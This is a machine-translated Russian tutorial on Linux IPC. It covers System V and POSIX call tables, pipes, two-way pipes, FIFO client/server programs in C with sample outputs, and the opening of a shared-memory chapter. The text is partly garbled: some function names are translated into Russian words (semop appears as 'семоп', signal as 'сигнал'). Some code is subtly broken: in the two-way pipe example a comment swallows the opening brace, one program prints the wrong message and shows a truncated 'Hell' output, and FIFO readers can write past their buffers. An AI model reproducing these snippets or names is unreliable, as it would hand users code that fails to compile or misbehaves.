Семафоры | semget () | Создает новый семафор или получает идентификатор существующего семафора. Семафоры используются для синхронизации между различными IPC, работающими над одним и тем же объектом. |
Семафоры | семоп () | Выполняет семафорные операции со значениями семафоров. Основные операции с семафором - это либо получение, либо снятие блокировки семафора. |
Семафоры | semctl () | Выполняет операции управления семафором. Некоторые из общих операций управления семафором - это удаление семафора (IPC_RMID), получение информации семафора (IPC_STAT) и обновление новых значений существующего семафора (IPC_SET). |
Сигналы | сигнал () | Установка расположения сигнала (номера сигнала) и обработчика сигнала. Другими словами, регистрация подпрограммы, которая запускается при подаче этого сигнала. |
Сигналы | sigaction () | То же, что и signal (), устанавливает расположение сигнала, то есть выполнение определенного действия в соответствии с зарегистрированным обработчиком сигнала после получения зарегистрированного сигнала. Этот системный вызов поддерживает более тонкий контроль над signal (), такой как блокировка определенных сигналов, восстановление действия сигнала до состояния по умолчанию после вызова обработчика сигнала, предоставление такой информации, как затраченное время пользователя и системы, идентификатор процесса отправки процесса и т. Д. |
Отображение памяти | mmap () | Отображение файлов в память. После отображения в память доступ к файлам так же прост, как доступ к данным с использованием адресов, и, таким образом, вызов не требует больших затрат, чем системные вызовы. |
Отображение памяти | munmap () | Отмена сопоставления отображаемых файлов из памяти. |
В следующей таблице перечислены различия между System V IPC и POSIX IPC.
СИСТЕМА V | POSIX |
---|---|
AT&T представила (1983) три новых формы средств IPC, а именно очереди сообщений, разделяемую память и семафоры. | Стандарты интерфейса переносимой операционной системы, определенные IEEE для определения интерфейса прикладного программирования (API). POSIX охватывает все три формы IPC. |
SYSTEM V IPC охватывает все механизмы IPC, а именно каналы, именованные каналы, очереди сообщений, сигналы, семафоры и разделяемую память. Он также охватывает сокеты и сокеты домена Unix. | Практически все основные концепции такие же, как и в System V. Отличается только интерфейсом. |
Вызов интерфейса общей памяти shmget (), shmat (), shmdt (), shmctl () | Вызов интерфейса общей памяти shm_open (), mmap (), shm_unlink () |
Вызов интерфейса очереди сообщений msgget (), msgsnd (), msgrcv (), msgctl () | Вызов интерфейса очереди сообщений mq_open (), mq_send (), mq_receive (), mq_unlink () |
Вызов интерфейса семафоров semget (), semop (), semctl () | Интерфейс семафоров вызывает именованные семафоры sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Семафоры без имени или из памяти sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Использует ключи и идентификаторы для идентификации объектов IPC. | Использует имена и дескрипторы файлов для идентификации объектов IPC |
NA | Очереди сообщений POSIX можно отслеживать с помощью API-интерфейсов select (), poll () и epoll. |
Предлагает вызов msgctl () | Предоставляет функции (mq_getattr () и mq_setattr ()) для доступа или установки атрибутов 11. IPC - System V & POSIX |
NA | Многопоточность. Охватывает функции синхронизации потоков, такие как блокировки мьютексов, условные переменные, блокировки чтения-записи и т. Д. |
NA | Предлагает несколько функций уведомления для очередей сообщений (например, mq_notify ()) |
Требуются системные вызовы, такие как shmctl (), команды (ipcs, ipcrm) для выполнения операций состояния / управления. | Объекты общей памяти можно исследовать и управлять ими с помощью системных вызовов, таких как fstat (), fchmod () |
Размер сегмента разделяемой памяти System V фиксируется во время создания (через shmget ()). | Мы можем использовать ftruncate () для настройки размера базового объекта, а затем воссоздать сопоставление с помощью munmap () и mmap () (или специфичной для Linux mremap ()) |
Труба - это средство коммуникации между двумя или более связанными или взаимосвязанными процессами. Это может быть либо внутри одного процесса, либо связь между дочерним и родительским процессами. Связь также может быть многоуровневой, например, связь между родителем, потомком и внучкой и т. Д. Связь достигается посредством записи одним процессом в канал, а другого чтения из канала. Чтобы выполнить системный вызов pipe, создайте два файла: один для записи в файл, а другой для чтения из файла.
Механизм трубы можно рассматривать в режиме реального времени, например, наполняя водой из трубы какой-то контейнер, например ведро, и кто-то извлекает его, например, из кружки. Процесс заполнения - это не что иное, как запись в канал, а процесс чтения - это не что иное, как извлечение из канала. Это означает, что один выход (вода) используется для другого (ведра).
#include<unistd.h>
int pipe(int pipedes[2]);
Этот системный вызов создаст канал для односторонней связи, т. Е. Он создает два дескриптора, первый из которых подключается для чтения из канала, а другой - для записи в канал.
Дескриптор pipedes [0] предназначен для чтения, а pipedes [1] - для записи. Все, что записано в pipedes [1], можно прочитать из pipedes [0].
Этот вызов вернет ноль в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Несмотря на то, что основными операциями для файла являются чтение и запись, важно открыть файл перед выполнением операций и закрыть файл после завершения необходимых операций. Обычно по умолчанию для каждого процесса открываются 3 дескриптора, которые используются для ввода (стандартный ввод - stdin), вывода (стандартный вывод - stdout) и ошибки (стандартная ошибка - stderr) с файловыми дескрипторами 0, 1 и 2 соответственно.
Этот системный вызов вернет файловый дескриптор, используемый для дальнейших файловых операций чтения / записи / поиска (lseek). Обычно дескрипторы файлов начинаются с 3 и увеличиваются на одну цифру по мере увеличения количества открытых файлов.
Аргументы, передаваемые системному вызову open, - это путь (относительный или абсолютный путь), флаги, указывающие цель открытия файла (например, открытие для чтения, O_RDONLY, для записи, O_WRONLY, для чтения и записи, O_RDWR, для добавления к существующему файлу O_APPEND, для создания файла, если он не существует с O_CREAT и т. Д.) И требуемый режим, предоставляющий разрешения на чтение / запись / выполнение для пользователя или владельца / группы / других. Режим можно обозначить символами.
Чтение - 4, запись - 2 и выполнение - 1.
Например: восьмеричное значение (начинается с 0), 0764 означает, что владелец имеет разрешения на чтение, запись и выполнение, группа имеет разрешения на чтение и запись, а у других есть разрешения на чтение. Это также можно представить как S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, что подразумевает операцию 0700 | 0040 | 0020 | 0004 → 0764.
Этот системный вызов в случае успеха возвращает новый идентификатор файлового дескриптора и -1 в случае ошибки. Причину ошибки можно определить с помощью переменной errno или функции perror ().
#include<unistd.h>
int close(int fd)
Вышеупомянутый системный вызов закрывает уже открытый файловый дескриптор. Это означает, что файл больше не используется, а связанные ресурсы могут быть повторно использованы любым другим процессом. Этот системный вызов возвращает ноль в случае успеха и -1 в случае ошибки. Причину ошибки можно определить с помощью переменной errno или функции perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
Вышеупомянутый системный вызов предназначен для чтения из указанного файла с аргументами файлового дескриптора fd, надлежащего буфера с выделенной памятью (статической или динамической) и размером буфера.
Идентификатор дескриптора файла должен идентифицировать соответствующий файл, который возвращается после вызова системного вызова open () или pipe (). Перед чтением из файла необходимо открыть файл. Он автоматически открывается при вызове системного вызова pipe ().
Этот вызов вернет количество прочитанных байтов (или ноль в случае обнаружения конца файла) в случае успеха и -1 в случае неудачи. Возвращаемые байты могут быть меньше, чем количество запрошенных байтов, на случай, если данные недоступны или файл закрыт. В случае сбоя устанавливается правильный номер ошибки.
Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
Вышеупомянутый системный вызов предназначен для записи в указанный файл с аргументами файлового дескриптора fd, надлежащего буфера с выделенной памятью (статической или динамической) и размером буфера.
Идентификатор дескриптора файла должен идентифицировать соответствующий файл, который возвращается после вызова системного вызова open () или pipe ().
Перед записью в файл необходимо открыть файл. Он автоматически открывается при вызове системного вызова pipe ().
Этот вызов вернет количество записанных байтов (или ноль, если ничего не записано) в случае успеха и -1 в случае неудачи. В случае сбоя устанавливается правильный номер ошибки.
Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Примеры программ
Ниже приведены некоторые примеры программ.
Example program 1 - Программа для записи и чтения двух сообщений с помощью канала.
Алгоритм
Step 1 - Создайте трубу.
Step 2 - Отправить сообщение в трубу.
Step 3 - Получить сообщение из канала и записать его на стандартный вывод.
Step 4 - Отправить в трубу еще одно сообщение.
Step 5 - Получить сообщение из канала и записать его на стандартный вывод.
Note - Получение сообщений также может быть выполнено после отправки всех сообщений.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- В идеале статус возврата необходимо проверять при каждом системном вызове. Для упрощения процесса проверки не для всех вызовов.
Шаги выполнения
Компиляция
gcc -o simplepipe simplepipe.c
Выполнение / Вывод
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Программа для записи и чтения двух сообщений через канал с использованием родительского и дочернего процессов.
Алгоритм
Step 1 - Создайте трубу.
Step 2 - Создайте дочерний процесс.
Step 3 - Родительский процесс записывает в канал.
Step 4 - Дочерний процесс извлекает сообщение из канала и записывает его на стандартный вывод.
Step 5 - Повторите шаг 3 и шаг 4 еще раз.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Шаги выполнения
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Двусторонняя связь с использованием труб
Связь по каналу рассматривается как односторонняя связь, то есть либо родительский процесс записывает, а дочерний процесс читает, либо наоборот, но не оба одновременно. Однако что, если и родительский, и дочерний элемент должны одновременно писать и читать из каналов, решением будет двусторонняя связь с использованием каналов. Для двусторонней связи требуются две трубы.
Ниже приведены шаги для достижения двусторонней связи.
Step 1- Создайте две трубы. Первый - родитель должен писать, а потомок читать, скажем, pipe1. Второй - ребенок должен писать, а родитель - читать, скажем, pipe2.
Step 2 - Создайте дочерний процесс.
Step 3 - Закройте нежелательные концы, поскольку для каждого сеанса связи нужен только один конец.
Step 4 - Закройте нежелательные концы в родительском процессе, прочтите конец pipe1 и запишите конец pipe2.
Step 5 - Закройте нежелательные концы в дочернем процессе, запишите конец pipe1 и прочитайте конец pipe2.
Step 6 - Выполните коммуникацию по мере необходимости.
Примеры программ
Sample program 1 - Достижение двусторонней связи с помощью труб.
Алгоритм
Step 1 - Создайте pipe1 для родительского процесса для записи и дочернего процесса для чтения.
Step 2 - Создайте pipe2 для дочернего процесса для записи и родительского процесса для чтения.
Step 3 - Закройте ненужные концы трубы с родительской и дочерней стороны.
Step 4 - Родительский процесс для написания сообщения и дочерний процесс для чтения и отображения на экране.
Step 5 - Дочерний процесс для написания сообщения и родительский процесс для чтения и отображения на экране.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Шаги выполнения
Компиляция
gcc twowayspipe.c –o twowayspipe
Исполнение
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Каналы предназначались для связи между связанными процессами. Можем ли мы использовать каналы для несвязанного взаимодействия процессов, например, мы хотим выполнять клиентскую программу с одного терминала, а серверную программу - с другого терминала? Ответ - нет. Тогда как мы можем добиться взаимодействия несвязанных процессов, простой ответ - именованные каналы. Несмотря на то, что это работает для связанных процессов, не имеет смысла использовать именованные каналы для связи связанных процессов.
Мы использовали одну трубу для односторонней связи и две трубы для двусторонней связи. Применяется ли то же условие к именованным каналам. Ответ: нет, мы можем использовать один именованный канал, который можно использовать для двусторонней связи (связь между сервером и клиентом, а также между клиентом и сервером одновременно), поскольку именованный канал поддерживает двунаправленную связь.
Другое название именованного канала - FIFO (First-In-First-Out). Давайте посмотрим на системный вызов (mknod ()) для создания именованного канала, который является своего рода специальным файлом.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Этот системный вызов создаст специальный файл или узел файловой системы, такой как обычный файл, файл устройства или FIFO. Аргументами системного вызова являются путь, режим и разработчик. Путь вместе с атрибутами режима и информации об устройстве. Путь является относительным, если каталог не указан, он будет создан в текущем каталоге. Указанный режим - это режим файла, который определяет тип файла, такой как тип файла и режим файла, как указано в следующих таблицах. Поле dev предназначено для указания информации об устройстве, такой как старший и младший номера устройств.
Тип файла | Описание | Тип файла | Описание |
---|---|---|---|
S_IFBLK | блокировать специальные | S_IFREG | Обычный файл |
S_IFCHR | особенный характер | S_IFDIR | Каталог |
S_IFIFO | FIFO специальный | S_IFLNK | Символическая ссылка |
Файловый режим | Описание | Файловый режим | Описание |
---|---|---|---|
S_IRWXU | Читать, писать, выполнять / искать по владельцу | S_IWGRP | Разрешение на запись, группа |
S_IRUSR | Разрешение на чтение, владелец | S_IXGRP | Разрешение на выполнение / поиск, группа |
S_IWUSR | Разрешение на запись, владелец | S_IRWXO | Читать, писать, выполнять / искать другие |
S_IXUSR | Разрешение на выполнение / поиск, владелец | S_IROTH | Разрешение на чтение, другие |
S_IRWXG | Чтение, запись, выполнение / поиск по группе | S_IWOTH | Разрешение на запись, другие |
S_IRGRP | Разрешение на чтение, группа | S_IXOTH | Разрешение на выполнение / поиск, другие |
Файловый режим также может быть представлен в восьмеричной системе счисления, например 0XYZ, где X представляет владельца, Y представляет группу, а Z представляет других. Значение X, Y или Z может находиться в диапазоне от 0 до 7. Значения для чтения, записи и выполнения - 4, 2, 1 соответственно. При необходимости в сочетании чтения, записи и выполнения добавьте значения соответственно.
Скажем, если мы упомянем 0640, это означает чтение и запись (4 + 2 = 6) для владельца, чтение (4) для группы и отсутствие разрешений (0) для других.
Этот вызов вернет ноль в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Эта библиотечная функция создает специальный файл FIFO, который используется для именованного канала. Аргументы этой функции - имя файла и режим. Имя файла может быть абсолютным или относительным. Если полный путь (или абсолютный путь) не указан, файл будет создан в текущей папке выполняющегося процесса. Информация о режиме файла описана в системном вызове mknod ().
Этот вызов вернет ноль в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Давайте рассмотрим программу запуска сервера на одном терминале и запуска клиента на другом терминале. Программа будет выполнять только одностороннюю связь. Клиент принимает ввод пользователя и отправляет сообщение на сервер, сервер печатает сообщение на выходе. Процесс продолжается до тех пор, пока пользователь не введет строку «конец».
Давайте разберемся в этом на примере -
Step 1 - Создайте два процесса, один из которых является фифосервером, а другой - фифоклиентом.
Step 2 - Серверный процесс выполняет следующее -
Создает именованный канал (используя системный вызов mknod ()) с именем «MYFIFO», если он не создан.
Открывает именованный канал только для чтения.
Здесь создан FIFO с разрешениями на чтение и запись для владельца. Прочтите для группы и никаких разрешений для других.
Бесконечно ждет сообщения от Клиента.
Если сообщение, полученное от клиента, не является «концом», печатает сообщение. Если сообщение «конец», закрывает FIFO и завершает процесс.
Step 3 - Клиентский процесс выполняет следующее -
Открывает именованный канал только для записи.
Принимает строку от пользователя.
Проверяет, вводит ли пользователь «конец» или иное, чем «конец». В любом случае он отправляет сообщение на сервер. Однако, если строка «конец», это закрывает FIFO, а также завершает процесс.
Повторяется бесконечно, пока пользователь не введет строку «конец».
Теперь давайте посмотрим на файл сервера FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Этапы компиляции и выполнения
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Теперь давайте посмотрим на пример кода клиента FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Возьмем по приходящему выводу.
Этапы компиляции и выполнения
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Двусторонняя связь с использованием именованных каналов
Связь между трубами должна быть однонаправленной. В целом трубы были ограничены односторонней связью, и для двусторонней связи требовалось как минимум две трубы. Трубы предназначены только для взаимосвязанных процессов. Каналы не могут использоваться для взаимодействия несвязанных процессов, например, если мы хотим выполнить один процесс с одного терминала, а другой процесс с другого терминала, это невозможно с конвейерами. Есть ли у нас какой-либо простой способ связи между двумя процессами, скажем, несвязанными процессами простым способом? Ответ ДА. Именованный канал предназначен для связи между двумя или более несвязанными процессами, а также может иметь двунаправленную связь.
Мы уже видели однонаправленную связь между именованными каналами, то есть сообщения от клиента к серверу. Теперь давайте посмотрим на двунаправленную связь, т.е. клиент отправляет сообщение серверу, а сервер получает сообщение и отправляет обратно другое сообщение клиенту, используя тот же именованный канал.
Ниже приведен пример -
Step 1 - Создайте два процесса, один - fifoserver_twoway, а другой - fifoclient_twoway.
Step 2 - Серверный процесс выполняет следующее -
Создает именованный канал (используя библиотечную функцию mkfifo ()) с именем «fifo_twoway» в каталоге / tmp, если он не создан.
Открывает именованный канал для чтения и записи.
Здесь создан FIFO с разрешениями на чтение и запись для владельца. Прочтите для группы и никаких разрешений для других.
Бесконечно ждет сообщения от клиента.
Если сообщение, полученное от клиента, не является «концом», печатает сообщение и меняет строку. Перевернутая строка отправляется обратно клиенту. Если сообщение «конец», закрывает FIFO и завершает процесс.
Step 3 - Клиентский процесс выполняет следующее -
Открывает именованный канал для чтения и записи.
Принимает строку от пользователя.
Проверяет, вводит ли пользователь «конец» или иное, чем «конец». В любом случае он отправляет сообщение на сервер. Однако, если строка «конец», это закрывает FIFO, а также завершает процесс.
Если сообщение отправлено как «не конец», он ожидает сообщения (перевернутой строки) от клиента и печатает перевернутую строку.
Повторяется бесконечно, пока пользователь не введет строку «конец».
Теперь давайте посмотрим на пример кода сервера FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Этапы компиляции и выполнения
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Теперь давайте посмотрим на пример кода клиента FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Этапы компиляции и выполнения
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
Общая память - это память, совместно используемая двумя или более процессами. Однако зачем нам разделять память или какие-то другие средства общения?
Повторюсь, каждый процесс имеет свое собственное адресное пространство, и если какой-либо процесс хочет передать некоторую информацию из своего собственного адресного пространства другим процессам, то это возможно только с помощью методов IPC (межпроцессного взаимодействия). Как мы уже знаем, связь может осуществляться между связанными или несвязанными процессами.
Обычно взаимодействие между связанными процессами осуществляется с помощью каналов или именованных каналов. Связь между несвязанными процессами (скажем, один процесс работает в одном терминале, а другой процесс в другом терминале) может выполняться с использованием именованных каналов или популярных методов IPC, таких как общая память и очереди сообщений.
Мы познакомились с методами IPC для каналов и именованных каналов, и теперь пришло время узнать об оставшихся методах IPC, а именно: общая память, очереди сообщений, семафоры, сигналы и отображение памяти.
В этой главе мы узнаем все об общей памяти.
Мы знаем, что для связи между двумя или более процессами мы используем общую память, но перед использованием общей памяти, что нужно сделать с системными вызовами, давайте посмотрим на это -
Создайте сегмент общей памяти или используйте уже созданный сегмент общей памяти (shmget ())
Присоедините процесс к уже созданному сегменту разделяемой памяти (shmat ())
Отсоедините процесс от уже подключенного сегмента общей памяти (shmdt ())
Управление операциями в сегменте разделяемой памяти (shmctl ())
Давайте посмотрим на некоторые детали системных вызовов, связанных с общей памятью.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
Вышеупомянутый системный вызов создает или выделяет сегмент разделяемой памяти System V. Аргументы, которые необходимо передать, следующие:
В first argument, key,распознает сегмент разделяемой памяти. Ключом может быть произвольное значение или значение, которое может быть получено из библиотечной функции ftok (). Ключом также может быть IPC_PRIVATE, что означает выполнение процессов как сервер и клиент (родительские и дочерние отношения), т. Е. Взаимодействие взаимосвязанных процессов. Если клиент хочет использовать совместно используемую память с этим ключом, то это должен быть дочерний процесс сервера. Кроме того, дочерний процесс необходимо создать после того, как родительский процесс получит разделяемую память.
В second argument, size, - размер сегмента разделяемой памяти, округленный до кратного PAGE_SIZE.
В third argument, shmflg,задает требуемый флаг / ы разделяемой памяти, например IPC_CREAT (создание нового сегмента) или IPC_EXCL (используется с IPC_CREAT для создания нового сегмента, и вызов завершается ошибкой, если сегмент уже существует). Также необходимо передать разрешения.
Note - Обратитесь к предыдущим разделам для получения подробной информации о разрешениях.
Этот вызов вернет допустимый идентификатор общей памяти (используемый для дальнейших вызовов общей памяти) в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
Вышеупомянутый системный вызов выполняет операцию совместно используемой памяти для сегмента совместно используемой памяти System V, т. Е. Присоединяет сегмент совместно используемой памяти к адресному пространству вызывающего процесса. Аргументы, которые необходимо передать, следующие:
The first argument, shmid,это идентификатор сегмента разделяемой памяти. Этот идентификатор является идентификатором разделяемой памяти, который является возвращаемым значением системного вызова shmget ().
The second argument, shmaddr,указать адрес прикрепления. Если shmaddr равен NULL, система по умолчанию выбирает подходящий адрес для присоединения сегмента. Если shmaddr не равен NULL и SHM_RND указан в shmflg, вложение равно адресу, кратному ближайшему к SHMLBA (адрес нижней границы). В противном случае shmaddr должен быть адресом, выровненным по странице, по которому происходит / начинается присоединение к общей памяти.
The third argument, shmflg, задает требуемый флаг / ы разделяемой памяти, например SHM_RND (адрес округления до SHMLBA) или SHM_EXEC (позволяет выполнить содержимое сегмента) или SHM_RDONLY (присоединяет сегмент только для чтения, по умолчанию это чтение-запись) или SHM_REMAP (заменяет существующее отображение в диапазоне, указанном shmaddr, и продолжается до конца сегмента).
Этот вызов вернет адрес подключенного сегмента общей памяти в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
Вышеупомянутый системный вызов выполняет операцию с общей памятью для сегмента общей памяти System V, отделяя сегмент общей памяти от адресного пространства вызывающего процесса. Аргумент, который необходимо передать, -
Аргумент shmaddr - это адрес отключаемого сегмента разделяемой памяти. Отсоединяемый сегмент должен быть адресом, возвращаемым системным вызовом shmat ().
Этот вызов вернет 0 в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
Вышеупомянутый системный вызов выполняет операцию управления для сегмента разделяемой памяти System V. Необходимо передать следующие аргументы -
